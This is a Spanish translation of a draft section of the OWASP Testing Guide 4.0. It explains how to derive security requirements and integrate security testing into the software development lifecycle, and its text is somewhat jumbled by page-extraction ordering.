Una lista general de las regulaciones, estándares y políticas es un buen análisis de cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cumplimiento de las reglamentaciones puede identificarse revisando información del sector empresarial y del país o estado donde funcionará la aplicación. Algunas de estas normas y directrices de cumplimiento podrían traducirse en requerimientos técnicos específicos para controles de seguridad. Por ejemplo, en el caso de aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para autenticación [15] requiere que las instituciones financieras implementen aplicaciones que mitiguen los riesgos de autenticación débil con autenticación de múltiples etapas y control de seguridad multifactorial.

Los estándares aplicables para la seguridad deben también estar capturados en la lista de verificación de requisitos generales de seguridad. Por ejemplo, en el caso de aplicaciones que manejan datos de tarjetas de crédito del cliente, el cumplimiento con el estándar PCI DSS [16] prohíbe el almacenamiento de información de PINS y datos CVV2 y requiere que el comerciante proteja los datos de la banda magnética en el almacenamiento y transmisión mediante encriptación y en pantalla mediante enmascarar los datos. Estos requisitos de seguridad PCI DSS pudieran ser validados a través del análisis del código fuente.

Otra sección de la lista de verificación debe cumplir con los requisitos generales para el cumplimiento de las políticas y normas de seguridad de información de la organización. Desde la perspectiva de los requisitos funcionales, los requisitos para el control de seguridad deben guiar a una sección específica de las normas de seguridad de la información. Un ejemplo de tal requisito puede ser: "la complejidad de la contraseña de seis caracteres alfanuméricos debe aplicarse por los controles de autenticación utilizados por la aplicación". Cuando los requisitos de seguridad apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede validar la exposición de riesgos de cumplimiento. Si se encuentra una violación a las políticas y normas de seguridad de la información, ésta resultará en un riesgo que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos requisitos de seguridad son exigibles, estos deben estar bien documentados y validados con pruebas de seguridad.

Validación de requisitos de seguridad Desde la perspectiva de funcionalidad, la validación de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la gestión de riesgo, la validación de requisitos de seguridad es el objetivo de las evaluaciones de seguridad de información. En un nivel alto, el principal objetivo de las evaluaciones de seguridad de información es la identificación de grietas en los controles de seguridad, tales como la falta de controles básicos de autenticación, autorización o controles de encriptado. Más a profundidad, el objetivo de la evaluación de seguridad es el análisis de riesgo, tal como la identificación de las debilidades potenciales en los controles de seguridad que garanticen la confidencialidad, integridad y disponibilidad de los datos. Por ejemplo, cuando la aplicación trata con información personal identificable (PII) y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las políticas de seguridad de la empresa en cuanto al encriptado de la información de dichos datos tanto en tránsito como en almacenamiento. Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de cifrado y longitud de claves deben cumplir con los estándares de encriptación de la organización. Estos pueden requerir que solo se utilice ciertos algoritmos y longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser probado es verificar que se utilizan sólo códigos permitidos (por ejemplo, SHA256, RSA, AES) con longitud de claves mínimas permitidas (por ejemplo, más de 128 bits para encriptado simétrico y de más de 1024 para encriptado asimétrico).

Desde la perspectiva de la evaluación de seguridad, los requisitos de seguridad pueden ser validados en diferentes fases de la SDLC utilizando diferentes artefactos y metodologías de prueba. Por ejemplo, la creación de modelos de amenazas se centra en la identificación de fallas de seguridad durante el diseño, análisis del código de seguridad; las revisiones se centran en identificar problemas de seguridad en el código fuente durante el desarrollo, y las pruebas de penetración se centran en la identificación de vulnerabilidades en la aplicación durante la prueba o validación.

Los problemas de seguridad que se identifican temprano en el SDLC se pueden documentar en un plan de pruebas para ser validadas posteriormente con pruebas de seguridad. Combinando los resultados de las diferentes técnicas de prueba, es

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 21

Guia de pruebas 4.0 "Borrador"

posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de protección de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas vulnerabilidades de los no-explotables es posible cuando se combinan los resultados de pruebas de penetración y análisis de código fuente. Considerando la prueba de seguridad para una vulnerabilidad de inyección de un S L, por ejemplo una prueba de Caja Negra,en primer lugar, podría involucrar un análisis de la aplicación para identificar la vulnerabilidad. La primera evidencia de una potencial vulnerabilidad de inyección de una SQL que puede ser validada es la generación de una excepción de la SQL. Una

una función hash para cifrar una contraseña, sin la aplicación de una semilla en el valor. Desde la perspectiva de codificación segura, se trata de una vulnerabilidad que afecta a la encriptación usada para la autenticación con una vulnerabilidad cuya causa está en el error de codificación. Puesto que la causa es una codificación insegura, el requisito de seguridad puede ser documentado en las normas de codificación seguras y validado a través de revisiones de código seguro durante la fase de desarrollo de la SDLC.

Pruebas de seguridad y Análisis de riesgos validación posterior de la vulnerabilidad de la SQL puede implicar inyectar manualmente vectores de ataque para modificar la gramática de la consulta SQL para explotar la divulgación de la información. Esto podría involucrar una gran cantidad de análisis de ensayo y error hasta que la consulta dañina se ejecute. Suponiendo que el evaluador tenga el código fuente, ella puede aprender a partir del análisis de código fuente, como construir el vector de ataque de la SQL que puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa que devuelve datos confidenciales a un usuario no autorizado).

Los requerimientos de seguridad deben tomar en cuenta la gravedad de las vulnerabilidades para apoyar una estrategia de mitigación de riesgo. Asumiendo que la organización mantiene un registro de vulnerabilidades en aplicaciones (es decir, una base de conocimiento de vulnerabilidades), los temas de seguridad pueden ser reportados por tema, tipo, causa principal, mitigación y direccionados a las aplicaciones donde se encuentran. Tal base de conocimiento de vulnerabilidades también puede utilizarse para establecer métricas para analizar la eficacia de las pruebas de seguridad en el SDLC.

Taxonomías de las amenazas y defensas La clasificación de amenazas y defensas, que considera la raíz de las vulnerabilidades, es el factor crítico en la verificación de que los controles de seguridad sean diseñados, codificados y construidos para mitigar el impacto de la exposición de esas vulnerabilidades. En el caso de las aplicaciones web, la exposición de los controles de seguridad para vulnerabilidades comunes, tales como el OWASP Top Ten, puede ser un buen punto de partida para derivar los requisitos generales de seguridad. Más concretamente, el framework de seguridad de aplicaciones web [17] proporciona una clasificación (por ejemplo taxonomía) de vulnerabilidades que pueden ser documentadas en diferentes guías y estándares diferentes y validados con pruebas de seguridad.

El foco de una categorización de amenazas y defensas es definir los requisitos de seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. Una amenaza puede ser categorizada usando STRIDE [18] como Suplantación de identidad, Manipulación, Repudio, revelación de Información, Negación de servicio y Elevación de privilegios. La causa puede calificarse como falla de seguridad en el diseño, un error de seguridad en la codificación o un problema debido a una configuración insegura. Por ejemplo, la causa de la vulnerabilidad de autenticación débil podría ser la falta de autenticación mutua cuando los datos cruzan un límite de confianza entre los niveles del cliente y de ensambles del servidor de la aplicación. Un requisito de seguridad que capture la amenaza de no repudio durante una revisión del diseño de arquitectura permite la documentación del requisito de defensa (por ejemplo, autenticación mutua) que puede ser validada posteriormente con pruebas de seguridad.

Una categorización de amenazas y defensas para las vulnerabilidades puede utilizarse también para documentar requerimientos de seguridad de la codificación segura como estándares de codificación seguras. Un ejemplo de un error de codificación común en los controles de autenticación consiste en aplicar

Por ejemplo, considere un problema de validación de entrada, como una inyección de SQL, que se identificó a través del análisis del código fuente y registrado con una causa principal de error de codificación y tipo, una vulnerabilidad de validación de entrada. La exposición de esta vulnerabilidad puede ser evaluada mediante una prueba de penetración, mediante el análisis de campos de entrada con varios vectores de ataque de inyección de SQL. Esta prueba puede validar que los caracteres especiales son filtrados antes de llegar a la base de datos y mitigan la vulnerabilidad. Combinando los resultados del análisis de código fuente y pruebas de penetración es posible determinar la probabilidad y la exposición a la vulnerabilidad y calcular la calificación de riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible decidir sobre la estrategia de mitigación. Por ejemplo, las vulnerabilidades de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las de bajo riesgo se pueden arreglar en las siguientes versiones.

Teniendo en cuenta los escenarios de amenaza de la explotación de vulnerabilidades comunes, es posible identificar los riesgos potenciales que deben probarse en el control de seguridad de la aplicación. Por ejemplo, las diez vulnerabilidades más importantes de OWASP pueden ser direccionadas a ataques como el fraude electrónico (phishing), violaciones de privacidad, robo de identidad, sistema comprometido, alteración de datos o destrucción de datos, pérdidas financieras y pérdida de reputación. Estos temas deberían documentarse como parte de los escenarios de amenaza. Pensando en términos de amenazas y vulnerabilidades, es posible diseñar una batería de pruebas que simulen estos escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades de la organización puede utilizarse para derivar pruebas de seguridad dirigidas por los casos de riesgos de seguridad para validar los escenarios de ataque más probables. Por ejemplo, si el robo de identidad se considera de alto riesgo, escenarios de prueba negativos deben validar la mitigación de los impactos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 22

Guia de pruebas 4.0 "Borrador"

derivados de la explotación de las vulnerabilidades de autenticación, controles criptográficos, validación del ingreso y controles de validación.

Derivación de requisitos de funcionales y no funcionales

pruebas de

• La plantilla de restablecimiento de contraseña debe validar el nombre de usuario y el email del usuario registrado antes de enviar la contraseña temporal del usuario por correo electrónico. La contraseña temporal emitida debe ser una contraseña de un solo uso. Se enviará un enlace a la página de restablecimiento de contraseña al usuario. La página de restablecimiento de contraseña debe validar la contraseña temporal del usuario, la contraseña nueva, así como la respuesta del usuario a la pregunta de desafío.

seguridad Requisitos de seguridad a causa del riesgo

Requerimientos de seguridad funcional

Desde la perspectiva de los requisitos de seguridad funcional, las normas aplicables, las reglamentaciones y políticas conducen tanto a la necesidad de un tipo de control de seguridad, así como a la funcionalidad del control. Estos requisitos también se denominan "requisitos positivos", ya que aseguran la funcionalidad prevista a través de pruebas de seguridad. Ejemplos de requisitos positivos son: "la aplicación bloqueará al usuario después de seis intentos fallidos de ingreso" o "las contraseñas deben tener un mínimo de seis caracteres alfanuméricos". La validación de requisitos positivos consiste en afirmar la funcionalidad esperada y se puede probar creando nuevamente las condiciones de prueba y realizando la prueba de acuerdo con las entradas predefinidas. Los resultados aparecen entonces como una condición de error o de pasar.

Para validar los requisitos de seguridad con pruebas de seguridad, estos deben estar impulsados por la función y necesitan resaltar la funcionalidad esperada (el qué) e implícitamente la implementación (el cómo). Ejemplos de requisitos de diseño de alto nivel de seguridad para la autenticación pueden ser:

Las pruebas de seguridad deben ser dirigidas de acuerdo al riesgo; esto significa que necesitan validar la aplicación de un comportamiento inesperado. Éstos también se llaman "requisitos negativos", ya que especifican lo que no debe hacer la aplicación.

Ejemplos de requisitos negativos son:

• La aplicación no debe permitir que los datos sean modificados o destruidos. • La aplicación no debe ser comprometida o mal utilizada para transacciones financieras no autorizadas por un usuario malintencionado.

Los requisitos negativos son más difíciles de probar, porque no hay ningún comportamiento esperado que se pueda buscar. Esto podría requerir que un analista de amenazas cree causas y condiciones de entradas imprevisibles. Aquí es donde las pruebas de seguridad deben ser conducidas por el análisis de riesgo y modelo de amenazas. La clave es documentar los escenarios de amenaza y la funcionalidad de la defensa como factor para mitigar una amenaza.

• Proteger las credenciales de usuario y secretos compartidos en tránsito y en almacenamiento. • Enmascarar cualquier dato confidencial en pantalla (por ejemplo, contraseñas, cuentas). • Bloqueo de la cuenta de usuario después de un cierto número de intentos fallidos de registro. • No mostrar errores de validación específicos para el usuario como consecuencia de un error de inicio de sesión. • Permitir solamente contraseñas que sean alfanuméricas, que incluyan caracteres especiales y una longitud mínima de seis caracteres, para limitar la superficie de ataque. • Permitir la funcionalidad de cambio de contraseña sólo a usuarios autenticados mediante la validación de la contraseña anterior, nueva contraseña y la respuesta del usuario a la pregunta de desafío, para evitar el acceso forzoso a una contraseña a través del cambio de contraseña.

Por ejemplo, en el caso de controles de autenticación, los siguientes requisitos de seguridad se pueden documentar desde la perspectiva de amenazas y defensas:

• Encriptado de datos de autenticación en tránsito o almacenamiento para mitigar el riesgo de ataques de divulgación de información y protocolo de autenticación. • Cifrar las contraseñas usando encriptado no reversible como el uso de un repertorio (p. ej., HASH) y una semilla para evitar el ataque de diccionario. • Bloquear cuentas después de alcanzar un umbral de fallas de inicio de sesión y hacer cumplir la complejidad de contraseña para mitigar el riesgo de ataques forzosos de contraseñas. • Mostrar mensajes de error genérico tras la validación de credenciales para mitigar el riesgo de cosecha de cuentas o enumeración.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 23

Guia de pruebas 4.0 "Borrador"

• Autenticar mutuamente al cliente y al servidor para evitar el no repudio y los ataques de hombre en el medio (MiTM).

Las herramientas del modelo de amenazas, tales como los árboles de amenaza y bibliotecas de ataque, pueden ser útiles para derivar las

hipótesis de prueba negativa. Un árbol de amenazas asumirá un ataque a la raíz (por ejemplo, el atacante podría ser capaz de leer mensajes de otros usuarios) e identificar las diferentes debilidades de los controles de seguridad (por ejemplo, la validación de datos falla debido a una vulnerabilidad de inyección SQL) y las defensas necesarias (por ejemplo, implementar la validación de datos y consultas parametrizadas) que pudieran ser validadas en su eficacia en la mitigación de este tipo de ataques.

Cómo derivar los requisitos de las pruebas de seguridad mediante casos de uso correcto y uso indebido

Un prerrequisito para describir la funcionalidad de la aplicación es entender lo que se supone que la aplicación debe hacer y cómo. Esto puede hacerse mediante la descripción de casos de uso. Los casos de uso, en la forma gráfica como se usa generalmente en ingeniería de software, muestra las interacciones de los actores y sus relaciones. Ayudan a identificar a los actores en la aplicación, sus relaciones, la secuencia prevista de acciones para cada escenario, acciones alternativas, requisitos especiales, condiciones previas y condiciones posteriores.

Al igual que los casos de uso correcto, los casos de uso indebido o casos de abuso [19] describen escenarios de usos no deseados y maliciosos de la aplicación. Estos casos de mal uso proporcionan una forma para describir escenarios de cómo un atacante podría usar indebidamente y abusar de la aplicación. Al revisar los pasos individuales en un escenario de uso y pensar cómo pueden ser aprovechados maliciosamente, se pueden descubrir posibles fallas o aspectos de la aplicación que no están bien definidos. La clave es describir todos los escenarios posibles o, al menos, los escenarios de uso correcto y uso indebido más críticos.

Para derivar los requerimientos de seguridad del uso y mal uso de los casos [20], es importante definir los escenarios funcionales y los escenarios negativos y poner éstos en forma gráfica. En el caso de derivación de los requisitos de seguridad para la autenticación, por ejemplo, la siguiente metodología se puede seguir paso a paso:

Paso 1: Describa la situación funcional: El usuario autentica el ingreso mediante el suministro de un nombre de usuario y contraseña. La aplicación permite el acceso a los usuarios, basada en la autenticación de credenciales del usuario por parte de la aplicación y proporciona errores específicos al usuario cuando la validación falla.

Paso 2: Describa el escenario negativo: El atacante rompe la autenticación utilizando la fuerza bruta o a través de un ataque de diccionario de contraseñas y la cosecha de vulnerabilidades de cuenta en la aplicación. Los errores de validación proporcionan información específica para que el atacante adivine qué cuentas son realmente cuentas válidas registradas (usuarios). A continuación, el atacante

intentará forzar la contraseña para esa cuenta válida. Un ataque de fuerza bruta a contraseñas de mínimo cuatro dígitos a contraseñas de todos los dígitos puede tener éxito con un número limitado de intentos (es decir, 10 ^ 4).

Paso 3: Describa escenarios funcionales y escenarios negativos con casos de uso correcto y uso indebido: El ejemplo gráfico en la figura siguiente muestra la derivación de los requisitos de seguridad a través de casos de uso correcto y mal uso. El escenario funcional consiste en las acciones del usuario (introducir un nombre de usuario y contraseña) y las acciones de aplicación (autenticar al usuario y proporcionar un mensaje de error si la validación falla). El caso de mal uso consiste en las acciones del atacante, es decir, tratar de romper la autenticación usando fuerza bruta mediante un ataque de diccionario y adivinando los nombres de usuario válidos mediante los mensajes de error. Representando gráficamente las amenazas a las acciones del usuario (mal uso), es posible derivar las defensas como las acciones de la aplicación que mitiguen tales amenazas.

Figura 5: Requisitos de seguridad Los escenarios de uso indebido permiten el análisis de la aplicación desde la perspectiva del atacante y contribuyen a la identificación de posibles vulnerabilidades y las defensas necesarias para mitigar el impacto causado por la exposición potencial a dichas vulnerabilidades. Dados todos los casos de uso y abuso, es importante analizarlos para determinar cuáles son los más críticos y los que deben ser documentados en los requisitos de seguridad. La identificación de los casos más críticos de uso indebido y abuso conducen a la documentación de requisitos de seguridad y a los controles necesarios donde los riesgos de seguridad deben ser mitigados.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 24

Guia de pruebas 4.0 "Borrador"

Las pruebas de seguridad durante la fase de desarrollo del SDLC representan la primera oportunidad para los desarrolladores de asegurar que los componentes de software individuales que han desarrollado pasan pruebas de seguridad antes de que se integren con otros componentes y sean añadidos a la aplicación. Los componentes de software pueden ser artefactos de software tales como funciones, métodos y clases, así como interfaces de programación de aplicaciones, bibliotecas y archivos ejecutables. Para las pruebas de seguridad, los desarrolladores pueden confiar en los resultados de los análisis de código fuente para verificar estáticamente que el código fuente desarrollado no incluye posibles vulnerabilidades y cumple con los estándares de seguridad de codificación. Las pruebas de seguridad de la unidad podrán comprobar posteriormente de manera dinámica (es decir, en tiempo de ejecución) que los componentes funcionan como se esperaba. Antes de integrar ambos cambios de código nuevo y existente en la estructura de la aplicación, los resultados de los análisis estáticos y dinámicos deben ser revisados y validados.

La validación del código fuente antes de la integración a las estructuras de la aplicación es, generalmente, responsabilidad del desarrollador sénior. Estos desarrolladores sénior también son expertos en materia de seguridad de software y su función es liderar la revisión de seguridad del código. Deben tomar decisiones sobre la conveniencia de aceptar que el código sea incluido en la estructura de la aplicación o requiera más cambios y pruebas. Este flujo de trabajo de revisión de seguridad del código puede aplicarse a través de la aceptación formal, así como una aprobación en una herramienta de gestión de flujo de trabajo. Por ejemplo, suponiendo que se use el flujo de trabajo de administración de defectos típico para errores funcionales, errores de seguridad que han sido arreglados por un desarrollador pueden presentarse en un sistema de gestión de defectos o cambios. El director puede ver los resultados registrados por los desarrolladores en las herramientas y dar la aprobación de las revisiones a los cambios de código en la estructura de la aplicación. Paso 4: Obtenga los requisitos de seguridad. En este caso, se derivan los siguientes requisitos de seguridad para la autenticación: Pruebas de seguridad en el flujo de trabajo 1) Las contraseñas deben ser alfanuméricas, mayúsculas y minúsculas y un mínimo de longitud de siete caracteres; 2) Las cuentas deben bloquearse después de cinco intentos de registro sin éxito; 3) Los mensajes de error de registro deben ser genéricos.

Estos requisitos de seguridad deben ser documentados y probados.

Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad

Después de que los componentes y los cambios en el código son probados por los desarrolladores y registrados en la estructura de la aplicación, el siguiente paso, más probablemente en el flujo de trabajo del proceso de desarrollo de software, es realizar pruebas en la aplicación como una entidad completa. Este nivel de prueba se conoce generalmente como prueba integrada y prueba de nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la aplicación como un todo, así como la exposición a vulnerabilidades a nivel de aplicación. Estas pruebas de seguridad en la aplicación incluyen tanto las pruebas de Caja Blanca como el análisis de código fuente; y las pruebas de Caja Negra como pruebas de penetración. Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el evaluador tiene un conocimiento parcial sobre el manejo de la sesión de la aplicación y que debe ayudar a entender si el registro de salida y funciones de tiempo de caducidad están bien aseguradas.

Las pruebas de seguridad en el flujo de trabajo del desarrollo

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 25

Guia de pruebas 4.0 "Borrador"

El objetivo de las pruebas de seguridad es el sistema completo que será potencialmente atacado e incluye el código fuente completo y el

ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba es que es posible para los evaluadores de seguridad determinar si las vulnerabilidades pueden ser explotadas y exponen a la aplicación a riesgos reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como a problemas de seguridad que se han identificado más temprano en el SDLC con otras actividades como el modelo de amenazas, el análisis de código fuente y revisiones de seguridad del código.

Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, quienes realizan las pruebas de seguridad cuando la aplicación está en la mira de las pruebas del sistema de integración. Estos ingenieros de pruebas tienen conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web, técnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la validación de requisitos de seguridad en esta fase. Para poder realizar estas pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad estén documentados en la guía y procedimientos de pruebas de seguridad.

Un ingeniero de pruebas que valida la seguridad de la aplicación en el entorno del sistema integrado podría liberar a la aplicación para ser probada en el entorno operativo (por ejemplo, pruebas de aceptación del usuario). En esta etapa de SDLC (es decir, validación), las pruebas funcionales de la aplicación son generalmente una responsabilidad de evaluadores QA, mientras que los hackers de sombrero blanco o consultores de seguridad son generalmente responsables de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio equipo de hackers éticos especializados para llevar a cabo este tipo de pruebas cuando una evaluación externa no es necesaria (por ejemplo, para propósitos de auditoría).

Puesto que estas pruebas son el último recurso para solucionar vulnerabilidades antes de que la aplicación sea lanzada a la producción, es importante que estos temas sean abordados según lo recomendado por el equipo de pruebas. Las recomendaciones pueden incluir cambios de código, diseño o configuración. En este nivel, los auditores de seguridad y los oficiales de seguridad de la información discuten sobre los temas de seguridad reportados y analizan los riesgos potenciales según los procedimientos de gestión de riesgo de la información. Tales procedimientos pueden requerir que el equipo de desarrollo corrija todas las vulnerabilidades de alto riesgo antes de que la aplicación sea liberada, a menos que tales riesgos sean reconocidos y aceptados.

Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de seguridad es validar que el código esté siendo desarrollado de acuerdo con los requisitos de las normas de codificación segura. Los artefactos de codificación de los desarrolladores (como las funciones, métodos, clases, APIs y bibliotecas) deben ser validados funcionalmente antes de integrarse a la construcción de la aplicación.

Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser documentados en los estándares de codificación seguros y validados con el análisis estático y dinámico. Si la actividad de la unidad de pruebas sigue una revisión de códigos seguros, las pruebas de unidad pueden validar que los cambios requeridos por las revisiones de seguridad de códigos se hayan implementado correctamente. Las revisiones de seguridad de códigos y análisis de código fuente a través de las herramientas de análisis de código fuente ayudan a los desarrolladores en la identificación de problemas de seguridad en el código fuente mientras se desarrolla. Mediante el uso de pruebas de

unidad y análisis dinámico (p. ej., depuración) los desarrolladores pueden validar la funcionalidad de seguridad de los componentes, así como verificar que las defensas que están siendo desarrolladas mitigan cualquier riesgo de seguridad identificado previamente a través de la creación de modelos de amenazas y el análisis de código fuente.

Una buena práctica de los desarrolladores es crear casos de prueba de seguridad como un conjunto de pruebas de seguridad genéricas que forma parte del framework de pruebas de la unidad. Un conjunto de pruebas de seguridad genérico puede derivarse de casos de uso correcto y mal uso previamente definidos como funciones, métodos y clases. Un conjunto de pruebas de seguridad genérica puede incluir casos de prueba de seguridad para validar tanto requisitos positivos como negativos para los controles de seguridad, tales como:

• Identidad, autenticación y control de acceso • Validación de ingreso y codificación • Encriptado • Administración de usuarios y sesión • Manejo de errores y excepciones • Auditoría y registro

Pruebas de seguridad del desarrollador Pruebas de seguridad en la fase de codificación: pruebas de unidad

Los desarrolladores empoderados con una herramienta de análisis de código fuente integrada en su IDE, estándares de codificación seguros y un framework para la unidad de pruebas de seguridad pueden evaluar y verificar la seguridad de los componentes de software que está siendo desarrollado. Los casos de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 26

Guia de pruebas 4.0 "Borrador"

pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad que tienen su causa principal en el código fuente.

Además de la validación de parámetros de entrada y salida, que entran y salen de los componentes, estos temas incluyen verificaciones de autenticación y autorización realizadas por el componente, protección de los datos dentro del componente, excepción segura y manejo de errores y garantizar la auditoría y el registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden probar la funcionalidad de los controles de seguridad al nivel de componentes de software, tales como las funciones, métodos o clases. Por ejemplo, un caso de prueba puede verificar la validación de entrada y salida (por ejemplo, saneamiento de variables) y verificación de límites para las variables, afirmando la funcionalidad esperada del componente.

seguridad del desarrollador. Cuando se implementa una solución para un defecto de codificación identificado mediante el análisis de código fuente; por ejemplo, los casos de pruebas de seguridad, puede verificar que la aplicación del cambio de código sigue los requisitos de codificación segura, documentados en los estándares de codificación seguros.

Las pruebas de análisis de código fuente y de unidad pueden validar que el cambio de código mitiga la vulnerabilidad expuesta por el defecto de codificación previamente identificado. Los resultados del análisis automatizado de codificación segura también pueden utilizarse como puertas automáticas de entrada para el control de la versión del software, por ejemplo, los artefactos del software no pueden verificarse dentro de la estructura si existen temas de alto o mediano grado de severidad.

Pruebas de seguridad de evaluadores funcionales Los escenarios de amenaza identificados con los casos de uso y mal uso se pueden utilizar para documentar los procedimientos para las pruebas de los componentes de software. En el caso de componentes de autenticación, por ejemplo, las pruebas de seguridad de la unidad pueden afirmar la funcionalidad de establecer un bloqueo de cuenta, así como el hecho de que los parámetros de entrada de usuario no pueden ser objeto de abuso para eludir el bloqueo de la cuenta (por ejemplo, estableciendo el contador de bloqueo de cuenta con un número negativo).

Al nivel de componentes, las pruebas de seguridad de la unidad pueden validar afirmaciones positivas así como negativas, tales como manejo de errores y excepciones. Las excepciones deben ser atrapadas sin dejar al sistema en un estado inseguro, tal como una posible negación de servicio provocada por recursos que no se están desasignando (por ejemplo, puntos de conexión no cerrados dentro de un bloque de declaración final), así como la potencial elevación de privilegios (por ejemplo, mayores privilegios adquiridos antes de que la excepción sea lanzada y que no vuelva a configurar con el nivel anterior antes de salir de la función). El manejo de errores de seguridad puede validar la posible revelación de información a través de mensajes informativos de error o restos de información.

Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados por un ingeniero de seguridad que es el experto en la materia de seguridad de software y también es responsable de validar que los temas de seguridad en el código fuente se han corregido y se pueden comprobar en la estructura del sistema integrado. Normalmente, el administrador de la construcción de la aplicación también se asegura de que archivos ejecutables y bibliotecas de terceros sean evaluados en busca de vulnerabilidades potenciales antes de integrarlos en la estructura de las aplicaciones.

Los escenarios de amenazas de vulnerabilidades comunes que son causados por una codificación insegura pueden documentarse también en guía de pruebas de

Las pruebas de seguridad durante la fase de integración y validación: Pruebas integradas de sistema y pruebas operativas El objetivo principal de las pruebas de sistema integrado es validar el concepto de "defensa en profundidad", es decir, que la aplicación de controles de seguridad proporciona seguridad en diferentes niveles. Por ejemplo, la falta de validación de entrada al llamar a un componente integrado con la aplicación es, a menudo, un factor que puede ser probado con pruebas de integración.

El entorno de pruebas del sistema de integración también es el primer ambiente donde los evaluadores pueden simular escenarios de ataque real que puede ser potencialmente ejecutado por un usuario externo o interno de la aplicación. Pruebas a este nivel de seguridad pueden validar si las vulnerabilidades son reales y pueden ser aprovechadas por los atacantes. Por ejemplo, una potencial vulnerabilidad en el código fuente puede ser clasificada como de alto riesgo debido a la exposición a potenciales usuarios maliciosos, así como debido al impacto potencial (p. ej., acceso a información confidencial).

Los escenarios de ataque real pueden analizarse tanto con técnicas manuales de pruebas como con herramientas de prueba de penetración. Las pruebas de seguridad de este tipo se denominan también pruebas de hacking ético. Desde la perspectiva de pruebas de seguridad, éstas son direccionadas por el riesgo y tienen el objetivo de probar la aplicación en el entorno operativo. El objetivo es la estructura de la aplicación representativa de aquella versión que será implementada en la producción.

Incluir las pruebas de seguridad en la fase de integración y validación es fundamental para identificar vulnerabilidades causadas por la integración de componentes, así como la validación de la exposición a esas

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 27

Guia de pruebas 4.0 "Borrador"

vulnerabilidades. Las pruebas de seguridad para la aplicación requieren de un conjunto especializado de habilidades, incluidos los conocimientos de software y seguridad, que no son típicos de los ingenieros de seguridad. Como resultado de esto, las organizaciones deben, a menudo, entrenar a sus desarrolladores de software sobre las técnicas de hacking ético, procedimientos de evaluación de seguridad y las herramientas. Un escenario realista es desarrollar estos recursos internamente y documentarlos en guías de pruebas de seguridad y procedimientos que tengan en cuenta el conocimiento del desarrollador sobre pruebas de seguridad. Un listado llamado "hoja de trampa de casos de prueba de seguridad o lista de verificación", por ejemplo, pueden proporcionar casos de prueba simples y atacar vectores que pueden ser utilizados por los evaluadores para validar la exposición a vulnerabilidades comunes como el spoofing (burla), divulgaciones de información, saturación de búfer, cadenas de formato, inyección de SQL, inyección XSS, XML, SOAP, problemas de estandarización, denegación de servicio y código administrado y los controles ActiveX (por ejemplo,.NET). Una primera batería de estas pruebas se puede realizar manualmente con un conocimiento muy básico de seguridad de software.

El primer objetivo de las pruebas de seguridad puede ser la validación de un conjunto de requisitos mínimos de seguridad. Estos casos de prueba de seguridad podrían consistir en forzar manualmente la aplicación al error y estados excepcionales y recabar conocimientos del comportamiento de la aplicación. Por ejemplo, las vulnerabilidades de inyección SQL se pueden probar manualmente mediante la inyección de vectores de ataque a través de los ingresos del usuario y comprobando si las excepciones de SQL son devueltas al usuario. La evidencia de un error de excepción de SQL podría ser una manifestación de una vulnerabilidad que puede ser explotada.

Un examen más profundo de seguridad puede requerir conocimientos de técnicas especializadas de análisis y herramientas por parte del evaluador. Además del análisis de código fuente y las pruebas de penetración, estas técnicas incluyen, por ejemplo, inyección de fallas del código fuente y binario, análisis de propagación de falla y cobertura de código, pruebas de difusión e ingeniería inversa. La guía de pruebas de seguridad debe proporcionar procedimientos y recomendar herramientas que puedan utilizar los evaluadores de seguridad para realizar a fondo estas evaluaciones de seguridad.

El siguiente nivel de pruebas de seguridad después de las pruebas de integración del sistema es realizar pruebas de seguridad en el entorno de aceptación del usuario. Hay ventajas únicas para realizar pruebas de seguridad en el entorno operativo. El entorno de pruebas de aceptación de usuario (UAT) es el más representativo de la configuración de lanzamiento, con la excepción de los datos (por ejemplo, los datos de prueba se utilizan en lugar de los datos reales). Una característica de seguridad en la UAT es probar los problemas de configuración de seguridad. En algunos casos, estas vulnerabilidades podrían representar alto riesgo. Por ejemplo, el servidor que aloja la aplicación web podría no estar configurado con privilegios mínimos, certificado SSL válido y configuración segura, los servicios esenciales desactivados y el directorio web principal no haber sido limpiado de pruebas y páginas web administrativas.

Análisis de datos de prueba de seguridad y reportes Objetivos de las métricas de pruebas de seguridad y mediciones

